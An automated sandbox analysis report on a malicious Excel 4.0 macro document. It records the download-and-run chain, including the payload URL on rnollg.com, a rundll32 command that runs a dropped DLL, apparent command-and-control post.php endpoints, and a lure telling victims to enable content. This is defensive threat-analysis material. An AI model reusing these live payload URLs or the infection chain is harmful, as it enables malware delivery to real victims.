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Analysis Report case (4335).xls

Overview

General Information

Sample Name:	case (4335).xls
Analysis ID:	344665
MD5:	bf86559630b855e4bf2c54d641147b24
SHA1:	182cbac1bdd020fa5fee6ed9d6a50d1071fbe320
SHA256:	31ea3370ca06a2af45514a59a0ae49dc62ac34bc4dce44402f169a9d6fb93853
Tags:	xls
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Found malicious Excel 4.0 Macro

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Contains functionality to inject code into remote processes

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Found malicious URLs in unpacked macro 4.0 sheet

Found obfuscated Excel 4.0 Macro

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Yara detected hidden Macro 4.0 in Excel

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the product ID of Windows

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2240 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2312 cmdline: 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2408 cmdline: 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer MD5: 51138BEEA3E2C21EC44D0932C71762A8)

msiexec.exe (PID: 2848 cmdline: msiexec.exe MD5: 4315D6ECAE85024A0567DF2CB253B7B0)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
case (4335).xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer, CommandLine: 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2240, ProcessCommandLine: 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer, ProcessId: 2312

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Source: 4.2.rundll32.exe.340000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen2
Source: 5.2.msiexec.exe.d0000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen2

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown	HTTPS traffic detected: 172.67.150.228:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.200.147:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.169:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.73.69:443 -> 192.168.2.22:49168 version: TLS 1.2

Binary contains paths to debug symbols

Show sources

Source:

Binary string: c:\PlanetAllow\OpenRoll\cellNumeral\money.pdb source: scfrd[1].dll.0.dr

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\scfrd[1].dll			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\ProgramData\formnet.dll			Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: scfrd[1].dll.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4x nop then push 0000000Ah
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4x nop then mov eax, dword ptr [edi-08h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4x nop then push 00000000h
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4x nop then add esi, 02h
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then push 0000000Ah
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then mov eax, dword ptr [edi-08h]
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then add esi, 02h
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then push 00000000h

Source: global traffic

DNS query: name: rnollg.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 172.67.150.228:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 172.67.150.228:443

Networking:

Found malicious URLs in unpacked macro 4.0 sheet

Show sources

Source: before.1.0.0.sheet.csv_unpack

Macro 4.0 Deobfuscator: https://rnollg.com/kev/scfrd.dll

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 5_2_000D1AF0 InternetReadFile,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: rnollg.com

Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncECCCA-3.crt0
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl07
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0K
Source: rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2157152768.0000000001D37000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2155127079.0000000001FB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2157152768.0000000001D37000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2155127079.0000000001FB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: msiexec.exe, 00000005.00000002.2356240442.0000000002060000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000003.00000002.2157152768.0000000001D37000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2155127079.0000000001FB7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2157152768.0000000001D37000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2155127079.0000000001FB7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: 0FDE0000.0.dr	String found in binary or memory: http://wmwifbajxxbcxmucxmlc.com/files/april24.dll)
Source: case (4335).xls	String found in binary or memory: http://wmwifbajxxbcxmucxmlc.com/files/april24.dll~
Source: msiexec.exe, 00000005.00000002.2356240442.0000000002060000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2157152768.0000000001D37000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2155127079.0000000001FB7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	String found in binary or memory: https://gadgetswolf.com/
Source: msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	String found in binary or memory: https://gadgetswolf.com/f
Source: msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	String found in binary or memory: https://gadgetswolf.com/post.phpMb
Source: msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	String found in binary or memory: https://gadgetswolf.com/post.phpab
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: https://govemedico.tk/post.php
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: https://homesoapmolds.com/
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: before.1.0.0.sheet.csv_unpack	String found in binary or memory: https://rnollg.com/kev/scfrd.dll
Source: case (4335).xls, 0FDE0000.0.dr	String found in binary or memory: https://rnollg.com/kev/scfrd.dll$8
Source: msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: msiexec.exe, 00000005.00000002.2356064287.00000000004C2000.00000004.00000020.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Source: unknown	HTTPS traffic detected: 172.67.150.228:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.200.147:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.169:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.73.69:443 -> 192.168.2.22:49168 version: TLS 1.2

System Summary:

Found malicious Excel 4.0 Macro

Show sources

Source: case (4335).xls

Initial sample: URLDownloadToFileA

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable content on the yellow bar to run plugin Core decryption. 9 10 11 12 13 14 15 16 17
Source: Screenshot number: 8	Screenshot OCR: Enable Content X I J10 - "," jR V A B C D E F G H I J K L M N O P Q R S L=j 301 302 303 304

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: case (4335).xls	Initial sample: CALL
Source: case (4335).xls	Initial sample: CALL

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: case (4335).xls

Initial sample: Sheet size: 503434

Found obfuscated Excel 4.0 Macro

Show sources

Source: case (4335).xls

Initial sample: High usage of CHAR() function: 147

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\scfrd[1].dll			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\ProgramData\formnet.dll			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\msiexec.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\msiexec.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00349C60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00343A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0035DA70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00349A60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00355BF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0040D806
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0040F8FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0040D2C4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0040BB6E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0040DD48
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_000D9C60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_000D3A30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_000D9A60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_000EDA70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_000E5BF0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\formnet.dll 0BF22B8F9AAEF21AFE71FCBBEA62325E7582DAD410B0A537F38A9EB8E6855890
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\scfrd[1].dll 0BF22B8F9AAEF21AFE71FCBBEA62325E7582DAD410B0A537F38A9EB8E6855890

Source: way.dll.5.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.expl.evad.winXLS@7/12@4/4

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 5_2_000E9C90 AdjustTokenPrivileges,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003569A0 CreateToolhelp32Snapshot,GetCurrentProcessId,Thread32First,GetLastError,Thread32Next,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\0FDE0000

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\{6564EBFF-51EC-A92E-3E66-73D0C2BEFC46}
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\{451CDBFF-61EC-8956-3E66-73D0C2BEFC46}
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\{F5F5D963-6370-39BF-3E66-73D0C2BEFC46}

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD171.tmp

Jump to behavior

Source: case (4335).xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: C:\Windows\SysWOW64\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:

Binary string: c:\PlanetAllow\OpenRoll\cellNumeral\money.pdb source: scfrd[1].dll.0.dr

Source: case (4335).xls

Initial sample: OLE summary lastprinted = 2021-01-26 16:17:13

Source: case (4335).xls

Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0034D830 LoadLibraryA,GetProcAddress,

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0036D1F2 push dword ptr [ecx]; iretd
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0036E9FA push esi; retf
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0036EA51 push esi; retf
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00369A5D push ebp; iretd
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003682EB push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_004093ED push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0036B56F push esp; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0036B700 push ss; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00422B73 push esi; ret

Persistence and Installation Behavior:

Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Ubc\way.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\scfrd[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\ProgramData\formnet.dll	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\ProgramData\formnet.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003569A0 CreateToolhelp32Snapshot,GetCurrentProcessId,Thread32First,GetLastError,Thread32Next,

Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Ubc\way.dll	Jump to dropped file
